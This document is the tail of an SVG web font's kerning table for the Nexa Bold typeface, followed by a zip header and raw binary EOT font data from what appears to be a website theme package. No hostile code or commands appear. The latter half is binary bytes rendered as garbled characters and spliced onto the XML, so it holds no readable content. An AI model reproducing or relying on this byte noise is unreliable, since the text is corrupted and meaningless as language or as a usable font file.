<hkern u1="&#xd5;" u2="W" k="63" />
<hkern u1="&#xd5;" u2="V" k="66" />
<hkern u1="&#xd5;" u2="T" k="84" />
<hkern u1="&#xd5;" u2="Q" k="-43" />
<hkern u1="&#xd6;" u2="b" k="-20" />
<hkern u1="&#xd6;" u2="X" k="86" />
<hkern u1="&#xd6;" u2="W" k="63" />
<hkern u1="&#xd6;" u2="V" k="66" />
<hkern u1="&#xd6;" u2="T" k="84" />
<hkern u1="&#xd6;" u2="Q" k="-43" />
<hkern u1="&#xd8;" u2="b" k="-20" />
<hkern u1="&#xd8;" u2="X" k="86" />
<hkern u1="&#xd8;" u2="W" k="63" />
<hkern u1="&#xd8;" u2="V" k="66" />
<hkern u1="&#xd8;" u2="T" k="84" />
<hkern u1="&#xd8;" u2="Q" k="-43" />
<hkern u1="&#xd9;" u2="x" k="43" />
<hkern u1="&#xd9;" u2="w" k="23" />
<hkern u1="&#xd9;" u2="v" k="20" />
<hkern u1="&#xd9;" u2="r" k="43" />
<hkern u1="&#xd9;" u2="q" k="43" />
<hkern u1="&#xd9;" u2="p" k="23" />
<hkern u1="&#xd9;" u2="m" k="23" />
<hkern u1="&#xd9;" u2="k" k="20" />
<hkern u1="&#xd9;" u2="h" k="23" />
<hkern u1="&#xd9;" u2="g" k="43" />
<hkern u1="&#xd9;" u2="d" k="43" />
<hkern u1="&#xd9;" u2="X" k="63" />
<hkern u1="&#xd9;" u2="W" k="66" />
<hkern u1="&#xda;" u2="x" k="43" />
<hkern u1="&#xda;" u2="w" k="23" />
<hkern u1="&#xda;" u2="v" k="20" />
<hkern u1="&#xda;" u2="r" k="43" />
<hkern u1="&#xda;" u2="q" k="43" />
<hkern u1="&#xda;" u2="p" k="23" />
<hkern u1="&#xda;" u2="m" k="23" />
<hkern u1="&#xda;" u2="k" k="20" />
<hkern u1="&#xda;" u2="h" k="23" />
<hkern u1="&#xda;" u2="g" k="43" />
<hkern u1="&#xda;" u2="d" k="43" />
<hkern u1="&#xda;" u2="X" k="63" />
<hkern u1="&#xda;" u2="W" k="66" />
<hkern u1="&#xdb;" u2="x" k="43" />
<hkern u1="&#xdb;" u2="w" k="23" />
<hkern u1="&#xdb;" u2="v" k="20" />
<hkern u1="&#xdb;" u2="r" k="43" />
<hkern u1="&#xdb;" u2="q" k="43" />
<hkern u1="&#xdb;" u2="p" k="23" />
<hkern u1="&#xdb;" u2="m" k="23" />
<hkern u1="&#xdb;" u2="k" k="20" />
<hkern u1="&#xdb;" u2="h" k="23" />
<hkern u1="&#xdb;" u2="g" k="43" />
<hkern u1="&#xdb;" u2="d" k="43" />
<hkern u1="&#xdb;" u2="X" k="63" />
<hkern u1="&#xdb;" u2="W" k="66" />
<hkern u1="&#xdc;" u2="x" k="43" />
<hkern u1="&#xdc;" u2="w" k="23" />
<hkern u1="&#xdc;" u2="v" k="20" />
<hkern u1="&#xdc;" u2="r" k="43" />
<hkern u1="&#xdc;" u2="q" k="43" />
<hkern u1="&#xdc;" u2="p" k="23" />
<hkern u1="&#xdc;" u2="m" k="23" />
<hkern u1="&#xdc;" u2="k" k="20" />
<hkern u1="&#xdc;" u2="h" k="23" />
<hkern u1="&#xdc;" u2="g" k="43" />
<hkern u1="&#xdc;" u2="d" k="43" />
<hkern u1="&#xdc;" u2="X" k="63" />
<hkern u1="&#xdc;" u2="W" k="66" />
<hkern u1="&#xdd;" u2="&#x153;" k="236" />
<hkern u1="&#xdd;" u2="&#xff;" k="66" />
<hkern u1="&#xdd;" u2="&#xfd;" k="66" />
<hkern u1="&#xdd;" u2="&#xfc;" k="190" />
<hkern u1="&#xdd;" u2="&#xfb;" k="190" />
<hkern u1="&#xdd;" u2="&#xfa;" k="190" />
<hkern u1="&#xdd;" u2="&#xf9;" k="190" />
<hkern u1="&#xdd;" u2="&#xf8;" k="236" />
<hkern u1="&#xdd;" u2="&#xf6;" k="236" />
<hkern u1="&#xdd;" u2="&#xf5;" k="236" />
<hkern u1="&#xdd;" u2="&#xf4;" k="236" />
<hkern u1="&#xdd;" u2="&#xf3;" k="236" />
<hkern u1="&#xdd;" u2="&#xf2;" k="236" />
<hkern u1="&#xdd;" u2="&#xf1;" k="172" />
<hkern u1="&#xdd;" u2="&#xef;" k="41" />
<hkern u1="&#xdd;" u2="&#xee;" k="41" />
<hkern u1="&#xdd;" u2="&#xed;" k="41" />
<hkern u1="&#xdd;" u2="&#xec;" k="41" />
<hkern u1="&#xdd;" u2="&#xeb;" k="276" />
<hkern u1="&#xdd;" u2="&#xea;" k="276" />
<hkern u1="&#xdd;" u2="&#xe9;" k="276" />
<hkern u1="&#xdd;" u2="&#xe8;" k="276" />
<hkern u1="&#xdd;" u2="&#xe7;" k="236" />
<hkern u1="&#xdd;" u2="&#xe6;" k="256" />
<hkern u1="&#xdd;" u2="&#xe5;" k="256" />
<hkern u1="&#xdd;" u2="&#xe4;" k="256" />
<hkern u1="&#xdd;" u2="&#xe3;" k="256" />
<hkern u1="&#xdd;" u2="&#xe2;" k="256" />
<hkern u1="&#xdd;" u2="&#xe1;" k="256" />
<hkern u1="&#xdd;" u2="&#xe0;" k="256" />
<hkern u1="&#xdd;" u2="z" k="170" />
<hkern u1="&#xdd;" u2="y" k="66" />
<hkern u1="&#xdd;" u2="x" k="127" />
<hkern u1="&#xdd;" u2="w" k="106" />
<hkern u1="&#xdd;" u2="v" k="106" />
<hkern u1="&#xdd;" u2="u" k="190" />
<hkern u1="&#xdd;" u2="s" k="213" />
<hkern u1="&#xdd;" u2="r" k="172" />
<hkern u1="&#xdd;" u2="q" k="236" />
<hkern u1="&#xdd;" u2="p" k="172" />
<hkern u1="&#xdd;" u2="o" k="236" />
<hkern u1="&#xdd;" u2="n" k="172" />
<hkern u1="&#xdd;" u2="m" k="170" />
<hkern u1="&#xdd;" u2="k" k="63" />
<hkern u1="&#xdd;" u2="i" k="41" />
<hkern u1="&#xdd;" u2="h" k="63" />
<hkern u1="&#xdd;" u2="g" k="236" />
<hkern u1="&#xdd;" u2="f" k="63" />
<hkern u1="&#xdd;" u2="e" k="276" />
<hkern u1="&#xdd;" u2="d" k="233" />
<hkern u1="&#xdd;" u2="c" k="236" />
<hkern u1="&#xdd;" u2="a" k="256" />
<hkern u1="&#xde;" u2="w" k="-43" />
<hkern u1="&#xde;" u2="m" k="-43" />
<hkern u1="&#xde;" u2="j" k="-43" />
<hkern u1="&#xde;" u2="h" k="-20" />
<hkern u1="&#xde;" u2="X" k="106" />
<hkern u1="&#xde;" u2="W" k="63" />
<hkern u1="&#xde;" u2="V" k="20" />
<hkern u1="&#xde;" u2="T" k="63" />
<hkern u1="&#xde;" u2="Q" k="-43" />
<hkern u1="&#xde;" u2="F" k="-43" />
<hkern u1="&#xe0;" u2="w" k="66" />
<hkern u1="&#xe0;" u2="v" k="63" />
<hkern u1="&#xe0;" u2="t" k="43" />
<hkern u1="&#xe0;" u2="j" k="-43" />
<hkern u1="&#xe0;" u2="b" k="20" />
<hkern u1="&#xe1;" u2="w" k="66" />
<hkern u1="&#xe1;" u2="v" k="63" />
<hkern u1="&#xe1;" u2="t" k="43" />
<hkern u1="&#xe1;" u2="j" k="-43" />
<hkern u1="&#xe1;" u2="b" k="20" />
<hkern u1="&#xe2;" u2="w" k="66" />
<hkern u1="&#xe2;" u2="v" k="63" />
<hkern u1="&#xe2;" u2="t" k="43" />
<hkern u1="&#xe2;" u2="j" k="-43" />
<hkern u1="&#xe2;" u2="b" k="20" />
<hkern u1="&#xe3;" u2="w" k="66" />
<hkern u1="&#xe3;" u2="v" k="63" />
<hkern u1="&#xe3;" u2="t" k="43" />
<hkern u1="&#xe3;" u2="j" k="-43" />
<hkern u1="&#xe3;" u2="b" k="20" />
<hkern u1="&#xe4;" u2="w" k="66" />
<hkern u1="&#xe4;" u2="v" k="63" />
<hkern u1="&#xe4;" u2="t" k="43" />
<hkern u1="&#xe4;" u2="j" k="-43" />
<hkern u1="&#xe4;" u2="b" k="20" />
<hkern u1="&#xe5;" u2="w" k="66" />
<hkern u1="&#xe5;" u2="v" k="63" />
<hkern u1="&#xe5;" u2="t" k="43" />
<hkern u1="&#xe5;" u2="j" k="-43" />
<hkern u1="&#xe5;" u2="b" k="20" />
<hkern u1="&#xe6;" u2="&#x153;" k="16" />
<hkern u1="&#xe6;" u2="&#xff;" k="33" />
<hkern u1="&#xe6;" u2="&#xfd;" k="33" />
<hkern u1="&#xe6;" u2="&#xfc;" k="20" />
<hkern u1="&#xe6;" u2="&#xfb;" k="20" />
<hkern u1="&#xe6;" u2="&#xfa;" k="20" />
<hkern u1="&#xe6;" u2="&#xf9;" k="20" />
<hkern u1="&#xe6;" u2="&#xf8;" k="16" />
<hkern u1="&#xe6;" u2="&#xf6;" k="16" />
<hkern u1="&#xe6;" u2="&#xf5;" k="16" />
<hkern u1="&#xe6;" u2="&#xf4;" k="16" />
<hkern u1="&#xe6;" u2="&#xf3;" k="16" />
<hkern u1="&#xe6;" u2="&#xf2;" k="16" />
<hkern u1="&#xe6;" u2="&#xf1;" k="31" />
<hkern u1="&#xe6;" u2="&#xef;" k="33" />
<hkern u1="&#xe6;" u2="&#xee;" k="33" />
<hkern u1="&#xe6;" u2="&#xed;" k="33" />
<hkern u1="&#xe6;" u2="&#xec;" k="33" />
<hkern u1="&#xe6;" u2="z" k="47" />
<hkern u1="&#xe6;" u2="y" k="33" />
<hkern u1="&#xe6;" u2="x" k="80" />
<hkern u1="&#xe6;" u2="w" k="16" />
<hkern u1="&#xe6;" u2="v" k="33" />
<hkern u1="&#xe6;" u2="u" k="20" />
<hkern u1="&#xe6;" u2="t" k="47" />
<hkern u1="&#xe6;" u2="s" k="33" />
<hkern u1="&#xe6;" u2="r" k="16" />
<hkern u1="&#xe6;" u2="q" k="20" />
<hkern u1="&#xe6;" u2="p" k="20" />
<hkern u1="&#xe6;" u2="o" k="16" />
<hkern u1="&#xe6;" u2="n" k="31" />
<hkern u1="&#xe6;" u2="m" k="16" />
<hkern u1="&#xe6;" u2="k" k="43" />
<hkern u1="&#xe6;" u2="j" k="47" />
<hkern u1="&#xe6;" u2="i" k="33" />
<hkern u1="&#xe6;" u2="h" k="20" />
<hkern u1="&#xe6;" u2="g" k="47" />
<hkern u1="&#xe6;" u2="f" k="20" />
<hkern u1="&#xe6;" u2="d" k="16" />
<hkern u1="&#xe6;" u2="b" k="16" />
<hkern u1="&#xe7;" u2="q" k="-41" />
<hkern u1="&#xe7;" u2="g" k="-23" />
<hkern u1="&#xe8;" u2="x" k="20" />
<hkern u1="&#xe8;" u2="w" k="41" />
<hkern u1="&#xe8;" u2="v" k="23" />
<hkern u1="&#xe8;" u2="t" k="43" />
<hkern u1="&#xe8;" u2="m" k="20" />
<hkern u1="&#xe8;" u2="k" k="20" />
<hkern u1="&#xe8;" u2="h" k="20" />
<hkern u1="&#xe9;" u2="x" k="20" />
<hkern u1="&#xe9;" u2="w" k="41" />
<hkern u1="&#xe9;" u2="v" k="23" />
<hkern u1="&#xe9;" u2="t" k="43" />
<hkern u1="&#xe9;" u2="m" k="20" />
<hkern u1="&#xe9;" u2="k" k="20" />
<hkern u1="&#xe9;" u2="h" k="20" />
<hkern u1="&#xea;" u2="x" k="20" />
<hkern u1="&#xea;" u2="w" k="41" />
<hkern u1="&#xea;" u2="v" k="23" />
<hkern u1="&#xea;" u2="t" k="43" />
<hkern u1="&#xea;" u2="m" k="20" />
<hkern u1="&#xea;" u2="k" k="20" />
<hkern u1="&#xea;" u2="h" k="20" />
<hkern u1="&#xeb;" u2="x" k="20" />
<hkern u1="&#xeb;" u2="w" k="41" />
<hkern u1="&#xeb;" u2="v" k="23" />
<hkern u1="&#xeb;" u2="t" k="43" />
<hkern u1="&#xeb;" u2="m" k="20" />
<hkern u1="&#xeb;" u2="k" k="20" />
<hkern u1="&#xeb;" u2="h" k="20" />
<hkern u1="&#xec;" u2="x" k="-43" />
<hkern u1="&#xec;" u2="J" k="-86" />
<hkern u1="&#xed;" u2="x" k="-43" />
<hkern u1="&#xed;" u2="J" k="-86" />
<hkern u1="&#xee;" u2="x" k="-43" />
<hkern u1="&#xee;" u2="J" k="-86" />
<hkern u1="&#xef;" u2="x" k="-43" />
<hkern u1="&#xef;" u2="J" k="-86" />
<hkern u1="&#xf1;" u2="w" k="43" />
<hkern u1="&#xf1;" u2="v" k="63" />
<hkern u1="&#xf1;" u2="t" k="43" />
<hkern u1="&#xf2;" u2="x" k="20" />
<hkern u1="&#xf2;" u2="w" k="43" />
<hkern u1="&#xf2;" u2="v" k="20" />
<hkern u1="&#xf2;" u2="t" k="20" />
<hkern u1="&#xf3;" u2="x" k="20" />
<hkern u1="&#xf3;" u2="w" k="43" />
<hkern u1="&#xf3;" u2="v" k="20" />
<hkern u1="&#xf3;" u2="t" k="20" />
<hkern u1="&#xf4;" u2="x" k="20" />
<hkern u1="&#xf4;" u2="w" k="43" />
<hkern u1="&#xf4;" u2="v" k="20" />
<hkern u1="&#xf4;" u2="t" k="20" />
<hkern u1="&#xf5;" u2="x" k="20" />
<hkern u1="&#xf5;" u2="w" k="43" />
<hkern u1="&#xf5;" u2="v" k="20" />
<hkern u1="&#xf5;" u2="t" k="20" />
<hkern u1="&#xf6;" u2="x" k="20" />
<hkern u1="&#xf6;" u2="w" k="43" />
<hkern u1="&#xf6;" u2="v" k="20" />
<hkern u1="&#xf6;" u2="t" k="20" />
<hkern u1="&#xf8;" u2="x" k="20" />
<hkern u1="&#xf8;" u2="w" k="43" />
<hkern u1="&#xf8;" u2="v" k="20" />
<hkern u1="&#xf8;" u2="t" k="20" />
<hkern u1="&#x152;" u2="&#x178;" k="-43" />
<hkern u1="&#x152;" u2="&#xdd;" k="-43" />
<hkern u1="&#x152;" u2="&#xd1;" k="-43" />
<hkern u1="&#x152;" u2="x" k="-43" />
<hkern u1="&#x152;" u2="s" k="-20" />
<hkern u1="&#x152;" u2="j" k="-84" />
<hkern u1="&#x152;" u2="Y" k="-43" />
<hkern u1="&#x152;" u2="W" k="-20" />
<hkern u1="&#x152;" u2="V" k="-23" />
<hkern u1="&#x152;" u2="T" k="-84" />
<hkern u1="&#x152;" u2="S" k="-43" />
<hkern u1="&#x152;" u2="N" k="-43" />
<hkern u1="&#x152;" u2="J" k="-23" />
<hkern u1="&#x153;" u2="&#xff;" k="43" />
<hkern u1="&#x153;" u2="&#xfd;" k="43" />
<hkern u1="&#x153;" u2="y" k="43" />
<hkern u1="&#x153;" u2="x" k="20" />
<hkern u1="&#x153;" u2="w" k="41" />
<hkern u1="&#x153;" u2="v" k="23" />
<hkern u1="&#x153;" u2="t" k="43" />
<hkern u1="&#x153;" u2="m" k="20" />
<hkern u1="&#x153;" u2="k" k="20" />
<hkern u1="&#x153;" u2="h" k="20" />
<hkern u1="&#x178;" u2="x" k="127" />
<hkern u1="&#x178;" u2="w" k="106" />
<hkern u1="&#x178;" u2="v" k="106" />
<hkern u1="&#x178;" u2="r" k="172" />
<hkern u1="&#x178;" u2="q" k="236" />
<hkern u1="&#x178;" u2="p" k="172" />
<hkern u1="&#x178;" u2="m" k="170" />
<hkern u1="&#x178;" u2="k" k="63" />
<hkern u1="&#x178;" u2="h" k="63" />
<hkern u1="&#x178;" u2="g" k="236" />
<hkern u1="&#x178;" u2="f" k="63" />
<hkern u1="&#x178;" u2="d" k="233" />
<hkern g1="C,Ccedilla" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="-20" />
<hkern g1="C,Ccedilla" 	g2="y,yacute,ydieresis" 	k="-63" />
<hkern g1="C,Ccedilla" 	g2="s" 	k="-23" />
<hkern g1="C,Ccedilla" 	g2="D,Thorn" 	k="-43" />
<hkern g1="C,Ccedilla" 	g2="L" 	k="-43" />
<hkern g1="C,Ccedilla" 	g2="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" 	k="-63" />
<hkern g1="C,Ccedilla" 	g2="U,Ugrave,Uacute,Ucircumflex,Udieresis" 	k="-43" />
<hkern g1="C,Ccedilla" 	g2="Z" 	k="-43" />
<hkern g1="C,Ccedilla" 	g2="e,egrave,eacute,ecircumflex,edieresis" 	k="-43" />
<hkern g1="C,Ccedilla" 	g2="l" 	k="-43" />
<hkern g1="C,Ccedilla" 	g2="i,igrave,iacute,icircumflex,idieresis" 	k="-23" />
<hkern g1="C,Ccedilla" 	g2="n,ntilde" 	k="-20" />
<hkern g1="C,Ccedilla" 	g2="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" 	k="-43" />
<hkern g1="C,Ccedilla" 	g2="E,Egrave,Eacute,Ecircumflex,Edieresis" 	k="-63" />
<hkern g1="C,Ccedilla" 	g2="I,Igrave,Iacute,Icircumflex,Idieresis" 	k="-66" />
<hkern g1="C,Ccedilla" 	g2="S" 	k="-86" />
<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,OE" 	g2="s" 	k="-20" />
<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,OE" 	g2="N,Ntilde" 	k="-43" />
<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,OE" 	g2="Y,Yacute,Ydieresis" 	k="-43" />
<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,OE" 	g2="S" 	k="-43" />
<hkern g1="I,Igrave,Iacute,Icircumflex,Idieresis" 	g2="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" 	k="-43" />
<hkern g1="I,Igrave,Iacute,Icircumflex,Idieresis" 	g2="Z" 	k="-43" />
<hkern g1="I,Igrave,Iacute,Icircumflex,Idieresis" 	g2="S" 	k="-41" />
<hkern g1="N,Ntilde" 	g2="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" 	k="-20" />
<hkern g1="N,Ntilde" 	g2="S" 	k="-23" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="-23" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="Y,Yacute,Ydieresis" 	k="106" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="Z" 	k="43" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="S" 	k="-41" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="z" 	k="41" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="c,ccedilla" 	k="-20" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="43" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" 	g2="Z" 	k="63" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" 	g2="e,egrave,eacute,ecircumflex,edieresis" 	k="43" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" 	g2="i,igrave,iacute,icircumflex,idieresis" 	k="23" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" 	g2="n,ntilde" 	k="20" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" 	g2="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" 	k="43" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" 	g2="z" 	k="63" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="256" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="y,yacute,ydieresis" 	k="66" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="s" 	k="213" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="u,ugrave,uacute,ucircumflex,udieresis" 	k="190" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="e,egrave,eacute,ecircumflex,edieresis" 	k="276" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="i,igrave,iacute,icircumflex,idieresis" 	k="41" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="n,ntilde" 	k="172" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" 	k="236" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="z" 	k="170" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="c,ccedilla" 	k="236" />
<hkern g1="S" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="-66" />
<hkern g1="S" 	g2="u,ugrave,uacute,ucircumflex,udieresis" 	k="-43" />
<hkern g1="S" 	g2="Y,Yacute,Ydieresis" 	k="63" />
<hkern g1="S" 	g2="e,egrave,eacute,ecircumflex,edieresis" 	k="-66" />
<hkern g1="S" 	g2="l" 	k="-20" />
<hkern g1="S" 	g2="n,ntilde" 	k="-20" />
<hkern g1="S" 	g2="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" 	k="-41" />
<hkern g1="S" 	g2="z" 	k="-41" />
<hkern g1="Z" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="-43" />
<hkern g1="Z" 	g2="e,egrave,eacute,ecircumflex,edieresis" 	k="-20" />
<hkern g1="Z" 	g2="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" 	k="20" />
<hkern g1="a,agrave,aacute,acircumflex,atilde,adieresis,aring" 	g2="y,yacute,ydieresis" 	k="43" />
<hkern g1="a,agrave,aacute,acircumflex,atilde,adieresis,aring" 	g2="u,ugrave,uacute,ucircumflex,udieresis" 	k="49" />
<hkern g1="a,agrave,aacute,acircumflex,atilde,adieresis,aring" 	g2="e,egrave,eacute,ecircumflex,edieresis" 	k="-23" />
<hkern g1="a,agrave,aacute,acircumflex,atilde,adieresis,aring" 	g2="z" 	k="20" />
<hkern g1="a,agrave,aacute,acircumflex,atilde,adieresis,aring" 	g2="c,ccedilla" 	k="-23" />
<hkern g1="c,ccedilla" 	g2="D,Thorn" 	k="-106" />
<hkern g1="c,ccedilla" 	g2="e,egrave,eacute,ecircumflex,edieresis" 	k="-41" />
<hkern g1="c,ccedilla" 	g2="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" 	k="-20" />
<hkern g1="e,ae,egrave,eacute,ecircumflex,edieresis,oe" 	g2="y,yacute,ydieresis" 	k="43" />
<hkern g1="i,igrave,iacute,icircumflex,idieresis" 	g2="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" 	k="-23" />
<hkern g1="n,ntilde" 	g2="y,yacute,ydieresis" 	k="63" />
<hkern g1="n,ntilde" 	g2="u,ugrave,uacute,ucircumflex,udieresis" 	k="41" />
<hkern g1="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash" 	g2="y,yacute,ydieresis" 	k="23" />
<hkern g1="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash" 	g2="z" 	k="43" />
<hkern g1="L" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="-41" />
<hkern g1="L" 	g2="y,yacute,ydieresis" 	k="84" />
<hkern g1="L" 	g2="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" 	k="43" />
<hkern g1="L" 	g2="U,Ugrave,Uacute,Ucircumflex,Udieresis" 	k="84" />
<hkern g1="L" 	g2="Y,Yacute,Ydieresis" 	k="256" />
<hkern g1="L" 	g2="Z" 	k="-43" />
<hkern g1="l" 	g2="y,yacute,ydieresis" 	k="-20" />
<hkern g1="D,Thorn" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="-20" />
<hkern g1="D,Thorn" 	g2="y,yacute,ydieresis" 	k="-41" />
<hkern g1="D,Thorn" 	g2="u,ugrave,uacute,ucircumflex,udieresis" 	k="-43" />
<hkern g1="D,Thorn" 	g2="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" 	k="-20" />
<hkern g1="D,Thorn" 	g2="Y,Yacute,Ydieresis" 	k="106" />
<hkern g1="D,Thorn" 	g2="Z" 	k="43" />
<hkern g1="D,Thorn" 	g2="e,egrave,eacute,ecircumflex,edieresis" 	k="-43" />
<hkern g1="D,Thorn" 	g2="n,ntilde" 	k="-23" />
<hkern g1="D,Thorn" 	g2="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" 	k="-20" />
<hkern g1="D,Thorn" 	g2="I,Igrave,Iacute,Icircumflex,Idieresis" 	k="-23" />
<hkern g1="p,thorn" 	g2="u,ugrave,uacute,ucircumflex,udieresis" 	k="20" />
</font>
</defs></svg> PK!�
��\x\x1bluetheme/assets/fonts/Nexa/nexa_bold-webfont.eotnu&1i�\x�w�LP��J@��Nexa BoldRegularVersion 1.000"Nexa Bold RegularBSGP�W�W�c`���xZg�icyR��&c��4o4F��w���[ƛ��H�/ڬ�[�!*Ֆ!�`��%(�n<J�SO��Qm-�&�ϟ1���*=�E��]��2y��~���.�\25�K��OwKWC���s�t`�@���(y+�rkߜֆh��)���:�8���l��)MV?ѵ'4?I;h~��9
���"�F�4��&L�$F�&��9�0�� �.+��/���X}��}o}~1�Xh��������@�$�WY/5n��4�� Ex�ı4:0އ89�>�Yj��4�v�qh�PlP��I1���G慪9�>*�8�01LT	P���?��H(X%��"/9�����ot0�9�/�;���g���U8�p��Fn1�y��%�>K�����֚�gO�U�%4k
D#KN��q<�sA	�0Oº-?���Aք�ya��nQ��V
=Z+0�C�눕U*�<I`[��<�˶G��9%.��[��)ﲬB�P.�M����XTqɪ,���M�r��_̖-砦�G҄N���z�DEq]
IZ���"5-3�P}S��E�e+�	>���aG��x��eb1�P��U.b`��]��B�����wQv"����t�2D��H���C,:Qt~�/�Ț��lT�\��?�Ι�2٢�F��	��#4�Ro�y�{�-�{�Wا�u�}YIrT�V��vP}��XA6:�/҅"O�f2ϋ,�^�FVC\Y��f��T!��1��Ȯ
���� �d1!O�O�"t��s�lV<�G�!'P#M�"0�E�D�<D����F�f��7V��M��T�ڊ�B �t��*�ͳ`�r��6���� �A�m�)Ɏ8���E��QG��2P�d{y!d��NYB˶� TUi�B5H����8�����[��%o�Cт0u��t�?Mg�<i����q�WAgr���d�I�P� a�eˤ������-��
Oyx$0��L�3�]x��°`���	pnr�����݆�$�P��50��Y�&@�|��?*u�|}�3�lЎj�Ap�*"�f����&"����i.i�)%�<�uU�,H��g b3��KF���d#�؊:+���oю���A�¼
L'E���%+H��V���O
�6����L
��\�����>Q��?kž5��05`�4���	 ׄ�IL�!�20E����t��d����8h 6�������ml���3�cs�;s֗yv��NkN�D�G�J�QϟS�x8�HFS��qD�o'�@PMD�PXP�L@bJ�$�n�C(1�!�8
��,9+L��V����͈�7ܼ�
\懻N��[q��1�o�H
���e&�܁��]�-��N.y�
��,A@v������ceB"��f�5��������ttR
j�ȳ�����a2�{���Yn�wzw�.�_A��D#*�?�
Y���`�����K├@Q?1�TNՑ������w�,Cͤ��<ꈇ5���M/��/ҽ>xiQ��'�i#YH�G]#��#�`�;q��i�GW���:˄��jR�q4HJ����>�;>-�;H�C�?�+a'���=�|�鹑�y>rI$� S�l��T��d���/��(���п������*��]7�p�b�?y,.�Q>,���
_c�Ŭ�m�Sn�o�$�{�ʱ�(�o��P� (��Йhe���'�0�%�L	'�:n�]���/��_:�^��m�uw�!F
�
xI/��Ļ`y��W����lk;�F	�(ykR��BS�ʏ����e�$
 |e�@'Q�%n2�������iE�31�c*)"��� h��D�����F�3�Y�����-���>#4AA
[^j��R�?,��@x1(O(�J��x��&�E�8�B����:+ʿ�X|M�=��-��)J�|��^5�c�=�H�Q]K`��(^z�e��*�ځW���c�N&G*��k/	>3aF�3�8PL�Хm�=�l<�	�Ê寨AS��*&�{R��)
�)��9fEФ�3��E�Y����y՞Y��4Sշ�;c�>�"ע��9\�S	�"���ȎK;\����#m8�-h㺄�g‡
���LH��,��F�yLP�R�ޛ�)��N�n�~u�<�����H�%nxGdH"��;$cZf+���$|�
�l#��	��!3D�O�-���Q��Ip#-Uc8��}�je��P��Ɏ;<�-���)�<Y�Jb=3�P�]L޿E���m��ޙ57�#l!���:�@DԔ1����7�Q}A���c'�(�30����پ��Aٍ���?�����#�KNI[N�����i��E�S����Pޏ7H��d��B0�4p�ۊ�G*�Z�$E�������̆�6S��+�d�Bw���ZkN3�d�4lt@f�F�`��`�[�	�r�E�ƅ�f��LY$ȃz��������DR��v!B�s��F��QAY0��v@td�l�)�Cǧ5cv�R�Hsc#��~����i`��bl�A6�ȌA"F �ìBĩb����
�
3�^N�4�#�UTʐ7�wA�� �?�1���E��̝x�#�I+�։����^�ָ���L�l)``�K��]y:�|�~��Ca ����e�r+}v&~��ɣ��	F�������H,���m�f֛��
��o�h	-:�R.�*�)B0���N�6ͬP�.`��T�Y�:jm�ksj�pڟgK�g7��Z�A�]��z��.���*q�R�qܠ����[U����7+N��S��s��޻�
��a{G��}`X"�hf��h�'��H�1v��%*x�d���;�{���X9����X�H�A�q�DA���>��T[�b�!���c�gU������Wq�,*�\̆�Y9d�
B��
60�$�G'��O�T'���mzơc�����BM��]�C���M�{��K�Dm�|����^ѿ�Dl��^Y�U�e�v�,��x�`D`F9 �zy�6$t�&0k��0�g�RaE.���d<�:v'�[0�A-"�l�}����5_MJ�vu��4��@7e����
P��Y ��Kgh�
P� dDX66@&��0�׬���STh$���>���}P!A�5 �RQ⃊�S�u��/½H9�k�9��|R��AgI�H��%#
ԍ*h_�P-P}	P��]�л��\�[B�5��E�q�5��%{�����5��es���d�8��V��Bš�H�p`MZ&S80�VY�Fn��	�����\	�;��:s�H�l��3'"I��̘;���Q���L��#�|�
